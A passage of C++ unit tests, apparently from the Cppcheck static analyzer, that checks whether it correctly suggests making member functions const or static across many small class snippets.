checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n 